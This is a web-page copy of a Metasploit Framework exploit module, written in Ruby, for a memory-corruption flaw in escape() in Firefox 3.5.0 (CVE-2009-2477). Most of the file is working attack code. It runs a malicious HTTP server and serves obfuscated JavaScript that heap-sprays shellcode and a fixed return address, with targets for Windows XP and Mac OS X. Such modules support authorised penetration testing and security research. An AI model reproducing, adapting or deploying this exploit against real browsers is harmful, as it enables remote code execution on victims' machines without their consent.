CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/firefox_escape_retval.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
#
10
# This module acts as an HTTP server
11
#
12
include Msf::Exploit::Remote::HttpServer::HTML
13
14
#include Msf::Exploit::Remote::BrowserAutopwn
15
#autopwn_info({
16
# :ua_name => HttpClients::FF,
17
# :ua_minver => "3.5",
18
# :ua_maxver => "3.5",
19
# :os_name => OperatingSystems::Match::WINDOWS,
20
# :javascript => true,
21
# :rank => NormalRanking, # reliable memory corruption
22
# :vuln_test => nil,
23
#})
24
25
def initialize(info = {})
26
super(update_info(info,
27
'Name' => 'Firefox 3.5 escape() Return Value Memory Corruption',
28
'Description' => %q{
29
This module exploits a memory corruption vulnerability in the Mozilla
30
Firefox browser. This flaw occurs when a bug in the javascript interpreter
31
fails to preserve the return value of the escape() function and results in
32
uninitialized memory being used instead. This module has only been tested
33
on Windows, but should work on other platforms as well with the current
34
targets.
35
},
36
'License' => MSF_LICENSE,
37
'Author' =>
38
[
39
'Simon Berry-Byrne <x00050876[at]itnet.ie>', # Author / Publisher / Original exploit
40
'hdm', # Metasploit conversion
41
],
42
'References' =>
43
[
44
['CVE', '2009-2477'],
45
['OSVDB', '55846'],
46
['BID', '35660'],
47
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
48
],
49
'Payload' =>
50
{
51
'Space' => 1000 + (rand(256).to_i * 4),
52
'BadChars' => "\x00",
53
},
54
'Platform' => %w{ win osx },
55
'Targets' =>
56
[
57
[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
58
{
59
'Platform' => 'win',
60
'Arch' => ARCH_X86,
61
'Ret' => 0x0c0c0c0c,
62
'BlockLen' => 0x60000,
63
'Containers' => 800,
64
}
65
],
66
[ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
67
{
68
'Platform' => 'osx',
69
'Arch' => ARCH_X86,
70
'Ret' => 0x41414141,
71
'BlockLen' => 496,
72
'Containers' => 800000
73
}
74
]
75
],
76
'DefaultTarget' => 0,
77
'DisclosureDate' => '2009-07-13'
78
))
79
end
80
81
82
def on_request_uri(cli, request)
83
84
# Re-generate the payload
85
return if ((p = regenerate_payload(cli)) == nil)
86
87
print_status("Sending #{self.name}")
88
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
89
handler(cli)
90
end
91
92
def generate_html(payload)
93
94
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
95
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
96
enc_ret = Rex::Text.to_unescape(
97
Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
98
)
99
100
var_data_str1 = Rex::Text.rand_text_alpha(3)
101
var_data_str2 = Rex::Text.rand_text_alpha(4)
102
js = <<-EOF
103
var xunescape = unescape;
104
var shellcode = xunescape("#{enc_code}");
105
106
oneblock = xunescape("#{enc_ret}");
107
108
var fullblock = oneblock;
109
while (fullblock.length < #{target['BlockLen']})
110
{
111
fullblock += fullblock;
112
}
113
114
var sprayContainer = new Array();
115
var sprayready = false;
116
var sprayContainerIndex = 0;
117
118
function fill_function()
119
{
120
if(! sprayready) {
121
for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
122
{
123
sprayContainer[sprayContainerIndex] = fullblock + shellcode;
124
}
125
} else {
126
DataTranslator();
127
GenerateHTML();
128
}
129
if(sprayContainer.length >= #{target['Containers']}) {
130
sprayready = true;
131
}
132
}
133
134
var searchArray = new Array();
135
136
function escapeData(data)
137
{
138
var xi;
139
var xc;
140
var escData='';
141
for(xi=0; xi<data.length; xi++)
142
{
143
xc=data.charAt(xi);
144
if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
145
escData+=xc;
146
}
147
return escData;
148
}
149
150
function DataTranslator()
151
{
152
searchArray = new Array();
153
searchArray[0] = new Array();
154
searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
155
var newElement = document.getElementById("content");
156
if (document.getElementsByTagName) {
157
var xi=0;
158
pTags = newElement.getElementsByTagName("p");
159
if (pTags.length > 0)
160
while (xi < pTags.length)
161
{
162
oTags = pTags[xi].getElementsByTagName("font");
163
searchArray[xi+1] = new Array();
164
if (oTags[0]) {
165
searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
166
}
167
xi++;
168
}
169
}
170
}
171
172
function GenerateHTML()
173
{
174
var xhtml = "";
175
for (xi=1;xi<searchArray.length;xi++)
176
{
177
xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
178
}
179
}
180
181
setInterval("fill_function()", .5);
182
EOF
183
184
# Obfuscate it up a bit
185
js = obfuscate_js(js, 'Symbols' => {
186
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape
187
shellcode oneblock fullblock sprayContainer xi searchArray xc
188
escData xhtml pTags oTags newElement sprayready sprayContainerIndex
189
fill_function }
190
}).to_s
191
192
str1 = Rex::Text.rand_text_alpha(20)
193
str2 = Rex::Text.rand_text_alpha(24)
194
str3 = Rex::Text.rand_text_alpha(10) + " "
195
196
return %Q^
197
<html>
198
<head>
199
<div id="content">
200
<p>
201
<FONT>
202
</FONT>
203
</p>
204
<p>
205
<FONT>#{str1}</FONT></p>
206
<p>
207
<FONT>#{str2}</FONT>
208
</p>
209
<p>
210
<FONT>#{str3}</FONT>
211
</p>
212
</div>
213
<script language="JavaScript">
214
#{js}
215
</script>
216
</body>
217
</html>
218
^
219
220
end
221
end
222
223